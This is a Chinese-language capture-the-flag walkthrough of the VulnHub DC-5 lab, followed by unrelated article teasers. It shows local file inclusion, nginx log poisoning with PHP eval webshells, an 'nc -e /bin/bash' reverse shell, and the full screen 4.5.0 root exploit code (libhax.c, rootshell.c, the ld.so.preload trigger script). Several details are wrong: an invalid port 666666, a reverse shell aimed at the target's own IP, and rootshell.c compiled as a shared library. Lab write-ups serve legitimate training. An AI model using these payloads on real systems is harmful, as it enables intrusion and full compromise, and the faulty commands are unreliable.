vulnhub靶场之DC-5
一.环境搭建
1.靶场描述
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
But if you're really, really stuck, you can watch this video which shows the first step.
只有一个flag
2.下载靶场环境
https://www.vulnhub.com/entry/dc-5,314/
下载下来的文件
3.启动靶场环境
虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24
二.渗透靶场
1.目标
目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24
2.信息收集
(1)寻找靶机真实IP
使用nmap进行探活,寻找靶机ip
nmap -sP 192.168.52.0/24
也可以使用arp-scan进行探活,寻找靶机ip
本机ip为192.168.52.152
所以分析可得靶机ip为192.168.52.136
(2)探端口及服务
使用nmap探活端口
nmap -A -v -p- 192.168.52.136
发现开放了80端口,存在web服务,nginx 1.6.2
发现开放了111端口,rpcbind 2-4
发现开放了58694端口
也可以使用masscan探活端口
masscan --rate=10000 --ports 0-65535 192.168.52.136
(3)web指纹识别
3.渗透测试
(1)访问web访问
发现有一个留言板,随便输入一下并提交
提交完成之后发现切入点,页面跳转到Thankyou.php,并且在URL地址栏可以看到参数,GET方式传参
突然发现这儿变成2018了,之前好像是2019
琢磨琢磨,最后发现,只要一刷新页面,就会变,猜想存在文件包含
(2)bp是否存在文件包
使用BurpSuite抓包,爆破后台页面,由于是php站,我们选择php字典
导入一个php字典,进行爆破
发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面
打开这几个页面,发现发开footer.php时,不断刷新,图标也在不断地变化,确认文件包含页面是footer.php
(3)Fuzz确认存在文件包含漏洞
使用BurpSuite爆破文件包含的变量名即可能被包含的值
http://192.168.52.136/thankyou.php?page=footer.php
选择草叉模式进行爆破,选择两个爆破点,一个是文件包含变量名,一个是包含值
导入第一个字典,变量名字典
导入第二个字典(passwd路径字典)
成功爆破出八对值,但是只有一个变量名
/thankyou.php?file=%2e%2e%2fetc%2fpasswd
访问最短的吧路径,成功包含到字典
http://192.168.52.136/thankyou.php?file=%2fetc%2fpasswd
http://192.168.52.136/thankyou.php?file=/etc/passwd
(4)确认日志文件的位置
由于前面信息收集我们确认了是nginx的站,访问日志和错误日志应该如下
Web日志目录及日志分析
/var/log/nginx/access.log
/var/log/nginx/error.log
包含看一下
(5)写入一句话木马
1)写入phpinfo
写入phpinfo,访问如下日志文件,使用burpsuite抓包
我们使用burp进行抓包,在burp中写入一句话木马
GET <?php phpinfo();?> HTTP/1.1
没有写入之前
写入之后
重新打开日志文件可以看到成功写入,成功回显出phpinfo信息
2)写入webshell
<?php @eval($_POST['ms02423']);?>
由于一些原因,靶机ip地址由192.168.52.136变成了192.168.52.128
IP地址192.168.52.128
3)连接蚁剑
3)新建shell文件
可以在服务器/tmp目录下新建一个webshell.php文件,写入一句话木马并重新连接
右键在tmp目录下新建php文件,名称为webshell.php
欢迎访问webshell页面!!!
<?php
@eval($_REQUEST[powershell])
?>
4)我们访问新的页面
5)蚁剑连接新的webshell
连接成功右键进入虚拟终端
(6)反弹shell到kali
蚁剑终端不如kali终端,我们反弹shell到kali(这里我没有成功,不知道什么原因)
我们在kali里面终端输入
nc -lnvp 666666
我们在蚁剑虚拟终端输入
nc -e /bin/bash 192.168.52.128 666666
4.suid提权
使用find命令,查找具有suid权限的命令
(1)发现screen-4.5.0
发现screen-4.5.0,使用41145.sh脚本提权
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
下面两条命令都行
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
(2)查找screen 4.5.0漏洞脚本文件
searchsploit screen 4.5.0
我们发现有两个发现screen 4.5.0 存在本地特权提升的漏洞,我们利用第一个,将脚本复制到本目录下
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh
(3)查看cat 41154.sh脚本文件
由于终端看的不全,我们在kali里面进行查看
(4)将第一部分内容写到libhax.c并编译
按照脚本提示,先将第一部分内容写到libhax.c中(一共有三个部分)
创建一个文件夹存放三个部分的脚本
创建libhax.c文件,用vim编辑,当然,也可以直接使用vim创建文件
写入如下文件
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}
确认文件写入成功
然后编译这个脚本,查看编译生成的os文件
gcc -fPIC -shared -ldl -o libhax.so libhax.c
(5)将第二部分的代码写入rootshell.c并编译
将第二部分的代码写入rootshell.c文件并执行命令生成rootshell文件
这里我直接采用vim创建文件
因为步骤和第一部分是一样的
写入文件如下
#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}
然后编译这个脚本,查看编译生成的os文件
gcc -fPIC -shared -ldl -o rootshell.so rootshell.c
(6)将第三部分代码写入dc5.sh文件
将最后一部分代码写入dc5.sh文件中。需要注意的是,需要在文件开头写入#!/bin/bash表示执行环境。最后保存是需要输入:set ff=unix是为了防止脚本的格式错误。
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
:set ff=unix
完成3个步骤后之间把三个文件上传至靶机的/tmp文件下,然后执行./dc5即可提权。
将这三个文件传到靶机
5.上传文件到蚁剑
执行dc5.sh
注意给dc5.sh加执行权限
chmod +x dc5.sh
chmod 777 dc5.sh
拿到root用户,成功提权
在root目录下拿到flag
三.相关资源
1、靶场下载地址
2、nmap
3、文中用到的字典
4、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
5、[ 常用工具篇 ] burpsuite_pro 安装配置详解(附安装包)
6、简谈SUID提权
7、实现交互式shell的几种方式
8、masscan
9、[ 常用工具篇 ] AntSword 蚁剑安装及使用详解
10、Web日志目录及日志分析
相关文章:
vulnhub靶场之DC-5
一.环境搭建 1.靶场描述 DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for p…...
为什么选择CRM系统时,在线演示很重要?
想要知道一款CRM管理系统是否满足企业的需求,操作是否简单,运行是否流畅,最直观的方式就是远程演示。否则,光凭厂商的销售人员介绍一下产品,企业就盲目下单,最后发现功能不匹配,还要赔钱赔时间重…...
专业实习day3、4(路由器做内网访问公网)
专业实习 代码 display ip interface brief 显示当前设备下所有接口IP undo IP地址支持覆盖,但是正常的命令不能覆盖必须undo(删除)掉 un in en 在做配置的过程中,设备系统一般都会出现一些提示或者告警之类的东西,从…...
H264码流进行RTP包封装
一.H264基本概念 H.264从框架结构上分为视频编码层(VCL)和网络抽象层(NAL),VCL功能是进行视频编解码,包括运动补偿预测,变换编码和熵编码等功能;NAL用于采用适当的格式对VCL视频数据…...
基于多智能体点对点转换的分布式模型预测控制
matlab2020正常运行 基于多智能体点对点转换的分布式模型预测控制资源-CSDN文库...
性能分析与调优: Linux 实现 缺页剖析与火焰图
目录 一、实验 1.环境 2.缺页(RSS增长)剖析与火焰图 一、实验 1.环境 (1)主机 表1-1 主机 主机架构组件IP备注prometheus 监测 系统 prometheus、node_exporter 192.168.204.18grafana监测GUIgrafana192.168.204.19agent 监测 主机 node_exporter…...
代码随想录算法训练营第17天 | 110.平衡二叉树 + 257. 二叉树的所有路径 + 404.左叶子之和
今日内容 110.平衡二叉树 257. 二叉树的所有路径 404.左叶子之和 110.平衡二叉树 - Easy 题目链接:. - 力扣(LeetCode) 给定一个二叉树,判断它是否是高度平衡的二叉树。 本题中,一棵高度平衡二叉树定义为࿱…...
ubuntu20.04网络问题以及解决方案
1.网络图标消失,wired消失,ens33消失 参考:https://blog.51cto.com/u_204222/2465609 https://blog.csdn.net/qq_42265170/article/details/123640669 原始是在虚拟机中切换网络连接方式(桥接和NAT), 解决…...
Java面试题(java高级面试题)
线程池的核心线程数设置为多大比较合理? Worker线程在执行的过程中,有一部计算时间需要占用CPU,另一部分等待时间不需要占用CPU,通过量化分析,例如打日志进行统计,可以统计出整个Worker线程执行过程中这两…...
【MIdjourney】关于图像中人物视角的关键词
本篇仅是我个人在使用过程中的一些经验之谈,不代表一定是对的,如有任何问题欢迎在评论区指正,如有补充也欢迎在评论区留言。 1.全景镜头(panorama) 全景镜头是一种广角镜头,可以捕捉到比普通镜头更广阔的视野范围。全景镜头&…...
433. 最小基因变化(Queue使用ArrayList和LinkedList进行声明)
这道题可以看成一个24叉树。 因为基因序列长度固定为8,且每个位置的字母固定是AGCT,可以选择改变的只有3个字母,所以一次最多24种情况。 然后检查变化后的结果是否存在bank中(使用hashSet来存储),同时设置…...
MYSQL双主节点–更换ip
MYSQL双主节点–更换ip 一、更换双主节点ip 1.停止mysql服务 #安装了supervisor supervisorctl stop mysql #未安装 systemctl stop mysqld2.修改网卡配置信息 注:ens33是网卡名称,可能网卡不叫ens33 vi /etc/sysconfig/network-scripts/ifcfg-ens333…...
一文玩转Go语言中的面向对象编程~
温故而知新:什么是面向对象 面向对象(Object-Oriented)是一种计算机编程的方法和思想,它将程序中的数据(对象)和操作(方法)组织成一个个相互关联和交互的对象。对象是现实世界中的事…...
kylin集群反向代理(健康检查)
前面一篇文章提到了使用nginx来对kylin集群进行反向代理, kylin集群使用nginx反向代理-CSDN博客文章浏览阅读349次,点赞8次,收藏9次。由于是同一个集群的,元数据没有变化,所以,直接将原本的kylin使用scp的…...
【docker】centos7安装harbor
目录 零、前提一、下载离线包二、安装三、访问四、开机自启 零、前提 1.前提是已经安装了docker和docker-compose 一、下载离线包 1. csdn资源:harbor-offline-installer-v2.10.0.tgz 2. 百度云盘(提取码:ap3t):harbo…...
2024 年 1 月安全更新修补了 58 个漏洞(Android )
谷歌发布了针对 Android 平台 58 个漏洞的补丁,并修复了 Pixel 设备中的 3 个安全漏洞,拉开了 2024 年的序幕。 Android 2024 年 1 月更新的第一部分以 2024 年 1 月 1 日安全补丁级别发布在设备上,解决了框架和系统组件中的 10 个安全漏洞&…...
数据库系统概念 第七版 中文答案 第3章 SQL介绍
3.1 将以下查询使用SQL语言编写,使用大学数据库模式。 (我们建议您实际在数据库上运行这些查询,使用我们在书籍网站db-book.com上提供的示例数据。有关设置数据库和加载示例数据的说明,请参阅上述网站。) a. 查找计算机…...
什么是数通技术?以太网交换机在数通技术中的精要
什么是数通技术? 数通技术是指数字通信技术,它涵盖了数字信号处理、数据传输、网络通信等领域。通信工程师在数通技术中负责设计、建设和维护数字通信系统,以实现可靠、高效的信息传输。这涉及到数字信号的编解码、调制解调、数据压缩、网络…...
php 的数学常用函数
目录 1.常用列表 2.代码示例 1.常用列表 函数名描述输入输出abs()求绝对值数字绝对值数字ceil()进一法取整浮点数进一取整floor()舍去法求整浮点数直接舍去小数部分fmod()浮点数取余 两个浮点 数,x>y 浮点余数 pow()返回数的n次方基础数n次方乘方值round()浮点数四舍五入…...
Netty-Netty组件了解
EventLoop 和 EventLoopGroup 回想一下我们在 NIO 中是如何处理我们关心的事件的?在一个 while 循环中 select 出事 件,然后依次处理每种事件。我们可以把它称为事件循环,这就是 EventLoop 。 interface io.netty.channel. EventLoo…...
银行的压力测试如何进行?
为什么要进行压力风险测试? 压力风险测试的最终目的是测试银行在极度恶劣的市场环境中是否有足够的资本维持运转。 题主链接中的一级资本充足率(Tier 1 capital ratio) 亦即衡量标准,这个数字越大,表明银行资本约充裕,可以在停止…...
QtService、托盘程序使用
1、QtService 使用QtService实现Qt后台服务程序 用QT创建一个Windows Service以及踩到的若干坑 2、托盘程序 Qt之程序最小化托盘显示及操作 Qt系统托盘程序的实现...
使用Linux防火墙管理HTTP流量
在Linux系统中,防火墙是用于控制网络流量的重要工具。通过防火墙,你可以根据需要限制、过滤或允许特定的网络流量,从而提高系统的安全性。在处理HTTP流量时,防火墙可以帮助你实施访问控制、流量监控和其他安全策略。 iptables i…...
图鸟引入多套字体图标的方式教程
https://www.yuque.com/tuniao/qunyou/tgfvpg ①上传icon,生成iconfont.css 将css文件放这里 app.vue全局引入 适当改造iconfont.css的写法,方便调用...
在openEuler环境下快速编译GreatSQL RPM包
在上一篇中,已经介绍了在CentOS环境下编译GreatSQL RPM包的过程,本文再介绍如何在openEuler环境下编译GreatSQL RPM包。 运行环境是docker中的openEuler 22.03 x86_64: $ docker -v Docker version 20.10.10, build b485636$ docker run -itd…...
C语言基础语法跟练 day3
31、不使用累计乘法的基础上,通过移位运算(<<)实现2的n次方的计算。 #include <stdio.h> int main() {int i 0;scanf("%d",&i);printf("%d",1<<i);return 0; } 32、问题:一年约有 3.…...
【控制篇 / 策略】(7.4) ❀ 01. IP地理位置数据库和地理地址对象 ❀ FortiGate 防火墙
【简介】在很多使用环境下,我们需要对指定国家的IP地址进行允许或禁止访问操作,例如只允许访问国内IP。以前只能手动添加IP地址对象到地址组,繁杂且效率低下,Fortinet提供了基于地理位置的IP库,就可以解决这个问题。 I…...
NX二次开发点通过云配准获取相同体
先找到体的参考方向(这个参考方向对于相同体重合之后是相同的),这个时候我们的思路是三个不共线的点确定一个坐标系,然后和绝对方向求转换矩阵。然后获取体的所有边的几何中心,把这些点通过转换矩阵转换之后存起来&…...
5.4 Android BCC环境搭建(eadb版 下)
四,BCC使用示例 这里以tcplife为例,来显示TCP会话的生命周期和吞吐量统计。 4.1 进入/bcc/tools目录 root@localhost:/bcc# cd tools/ root@localhost:/bcc/tools# ls CMakeLists.txt javacalls.sh rubystat_example.txt argdist.py javacalls_e…...
【AI视野·今日Robot 机器人论文速览 第七十四期】Wed, 10 Jan 2024
AI视野今日CS.Robotics 机器人学论文速览 Wed, 10 Jan 2024 Totally 17 papers 👉上期速览✈更多精彩请移步主页 Daily Robotics Papers Hold em and Fold em: Towards Human-scale, Feedback-Controlled Soft Origami Robots Authors Immanuel Ampomah Mensah, Je…...
酒店网站建设工作/关键词seo报价
2019独角兽企业重金招聘Python工程师标准>>> 可以参考这个贴子 https://blog.csdn.net/F8qG7f9YD02Pe/article/details/79543316 从那个git地址 把saferm.sh下载下来 把saferm.sh复制到 /usr/bin 目录下 在用~/目下 的.bashrc 下加一句这个 alias rmsaferm.sh 这样…...
竖排导航网站/今日新闻7月1日
经排查是因为虚拟机(Redis放在了虚拟机中)的防火墙没关 关闭方法-centos7 暂时关闭防火墙 systemctl stop firewalld查看防火墙状态 systemctl status firewalld绿点变灰点说明关闭...
重庆模板网站建设怎么样/网站开发公司排行榜
1.目录所示 2.在controller文件夹下创建 java文件-admin (1)请求登陆页 /*** 来登录页** return*/GetMapping("/")public String login() {return "login";}(2)post请求登陆到首页 PostMapping("inde…...
开发工具怎么用/吉林seo排名公司
菜鸟到大神的上位历程,即学即用走向人生巅峰(参考资料) http://www.html5cn.org/article-9447-1.html w3school http://www.w3school.com.cn/html5/index.asp jQuery官网地址 http://jquery.com/ jQuery教程 http://www.runoob.com/jquery/jq…...
厦门外贸公司做网站/百度搜图
我很确定你不能通过limits.conf设置服务限制,但仅限于用户空间.Crontab在指定的用户空间中执行脚本,该用户空间通过用户名从/ etc / crontab定义,或者从用户自己的个人crontab定义.因此,必须在用户空间级别或自己的脚本内部应用限制.但是正确的是你需要在pam.d / cron下启用限制…...
政府网站建设问题形成原因分析/百度ai人工智能
佛说:见到美色,唯恐心受到诱惑、连忙把眼睛挖出来是愚蠢的行为。因为心才是受诱惑的主角,邪恶之心如能斩断,作为配角的眼睛就不会输入邪恶了。佛说:万物皆无常,有生必有灭;不执著于生灭…...